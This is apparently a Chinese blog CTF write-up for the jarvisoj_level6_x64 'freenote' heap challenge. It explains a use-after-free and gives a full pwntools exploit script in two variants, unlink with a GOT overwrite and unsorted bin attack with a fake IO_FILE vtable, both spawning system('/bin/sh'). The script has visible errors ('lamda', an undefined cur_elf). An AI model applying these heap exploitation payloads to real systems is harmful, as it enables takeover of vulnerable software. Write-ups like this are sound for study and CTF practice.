jarvisoj_level6_x64
jarvisoj_level6_x64
总结
根据本题,学习与收获有:
- 一般来说,在
libc-2.23.so
中,能用unlink
的题目,基本可以用unsorted bin attack + IO_FILE
劫持IO_jump_t
结构执行system("/bin/sh")
。不用能unlink
的题目,但是能溢出修改unsorted bin chunk
的size
并布局unsorted bin chunk
内容,都可以用这一招偷鸡。 - 修改
unsorted bin
的size
为0x61
, 然后从unsorted bin chunk
的头部开始,布局如下:[/bin/sh\x00, 0x61 0, _IO_list_all - 0x10, 0, 1, 0xa8 * "\x00", fake_vtable_addr]
,然后fake_vtable
填的内容如下:[0, 0, 0, system_addr]
。
checksec
运行环境为ubuntu 16.04
,libc-2.23.so
。
题目分析
最开始分配一个0x1820
的chunk
,用于管理所有的note
结构。布局如下:
需要注意的是:
- 最后
malloc
的参数并不是用户输入的input_size
,而是对齐到0x80
的大小。但是记录的size
确实输入的那个数。 - 在
edit_note
函数中,realloc
的参数也被同样处理过 - 有一个
read
函数,必须填满size
,否则会等待输入 - 使用
status
来判断note
的使用状态,而不是指针
漏洞分析
漏洞点就一个UAF
:
利用思路
一般来说,UAF
可以用来泄露地址。这里有两种利用思路,分别讲一下;
利用unlink
:
- 利用
unsorted bin
的fd
指针分别泄露出heap
地址和libc
地址,这样就得到了最初那个0x1820
大小的chunk
的地址 - 利用
realloc
功能来构造unlink
条件,结合uaf
漏洞,修改某个ptr
为ptr - 0x18
,这个ptr
在0x1820
堆块上 - 利用
edit
修改atoi@got
为system
地址 - 输入
/bin/sh
拿shell
利用unsorted bin attack + IO_FILE
:
- 用同样的方法去泄露地址
- 布局
IO_FILE
结构 - 修改
unsorted bin chunk
的size
为0x61
- 调用
malloc
,触发IO_flush_all_lock_up
,刷新所有流,执行system("/bin/sh")
最终EXP
from pwn import *
sh = process('freenote_x64')
int16 = lambda x : int(x, base=16)
LOG_ADDR = lamda: x, y: log.info("Addr: {} ===> {}".format(x, y))
libc = ELF('libc-2.23.so')
context.arch="amd64"
def list_note():
sh.sendlineafter("Your choice: ", "1")
msg = sh.recvuntil("== 0ops Free Note ==\n")
info("msg: {}".format(msg))
return msg
def new_note(length, data):
sh.sendlineafter("Your choice: ", "2")
sh.sendlineafter("Length of new note: ", str(length))
sh.sendafter("Enter your note: ", data)
sh.recvline()
def edit_note(idx, length, data):
sh.sendlineafter("Your choice: ", "3")
sh.sendlineafter("Note number: ", str(idx))
sh.sendlineafter("Length of note: ", str(length))
sh.sendafter("Enter your note: ", data)
sh.recvline()
def delete_note(idx):
sh.sendlineafter("Your choice: ", "4")
sh.sendlineafter("Note number: ", str(idx))
sh.recvline()
def attack_unlink():
# leak addr
new_note(0x80, "a" * 0x80) # 0 a
new_note(0x100, "a" * 0x100) # 1 b
new_note(0x80, "a" * 0x80) # 2 c
new_note(0x80, "a" * 0x80) # 3 d
delete_note(2)
delete_note(0) # a ---> c
new_note(0x80, "a" * 0x80) # c
delete_note(2) # c ---> a
# leak heap addr
msg = list_note()
idx = msg.find(b"\n")
leak_heap_addr = u64(msg[3:idx].ljust(8, b"\x00"))
LOG_ADDR("leak_heap_addr", leak_heap_addr)
new_note(0x80, "b" * 0x80) # a
# leak libc addr
msg = list_note()
idx = msg.find(b"\n")
leak_libc_addr = u64(msg[3:idx].ljust(8, b"\x00"))
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - 0x3c4b20 - 88
LOG_ADDR("libc_base_addr", libc_base_addr)
libc.address = libc_base_addr
# realloc and unlink
layout = [0, 0x101, leak_heap_addr-0x17d8 - 0x18,
leak_heap_addr - 0x17d8 - 0x10, 0xe0 * "a",
0x100, 0x90]
edit_note(1, 0x180, flat(layout, length=0x180, filler="a"))
delete_note(0)
layout = [0, [1, 8, cur_elf.got['atoi']] * 2]
edit_note(1, 0x180, flat(layout, length=0x180, filler="\x00"))
edit_note(1, 8, flat(libc.sym['system']))
sh.sendlineafter("Your choice: ", "/bin/sh")
sh.interactive()
def attack_io_file():
# leak addr
new_note(0x200, "a" * 0x200) # 0 a
new_note(0x80, "a" * 0x80) # 1 b
new_note(0x200, "a" * 0x200) # 2 c
new_note(0x80, "a" * 0x80) # 3 d
delete_note(2)
delete_note(0) # a ---> c
new_note(0x200, "a" * 0x200) # c
delete_note(2) # c ---> a
# leak heap addr
msg = list_note()
idx = msg.find(b"\n")
leak_heap_addr = u64(msg[3:idx].ljust(8, b"\x00"))
LOG_ADDR("leak_heap_addr", leak_heap_addr)
new_note(0x200, "b" * 0x200) # a
# leak libc addr
msg = list_note()
idx = msg.find(b"\n")
leak_libc_addr = u64(msg[3:idx].ljust(8, b"\x00"))
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - 0x3c4b20 - 88
LOG_ADDR("libc_base_addr", libc_base_addr)
libc.address = libc_base_addr
io_list_all_addr = libc.sym['_IO_list_all']
layout = ["a" * 0x80, 0, 0x211]
edit_note(1, 0x280, flat(layout, length=0x280, filler="a"))
# re-put unsorted bin
delete_note(0)
layout = ["a" * 0x80, "/bin/sh\x00", 0x61,
0, io_list_all_addr - 0x10, 0, 1, 0xa8 * "\x00",
leak_heap_addr + 0x380, 0, 0, [libc.sym['system']] * 3]
edit_note(1, 0x280, flat(layout, length=0x280, filler="\x00"))
sh.sendlineafter("Your choice: ", "2")
sh.sendlineafter("Length of new note: ", str(0x300))
sh.interactive()
if __name__ == '__main__':
import random
if random.randint(0, 100) >= 50:
info("Use unlink!\n")
sleep(3)
attack_unlink()
else:
info("Use IO_FILE!\n")
sleep(3)
attack_io_file()
远程打:
unlink
:
FSOP
:
引用与参考
1、My Blog
2、Ctf Wiki
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/14869403.html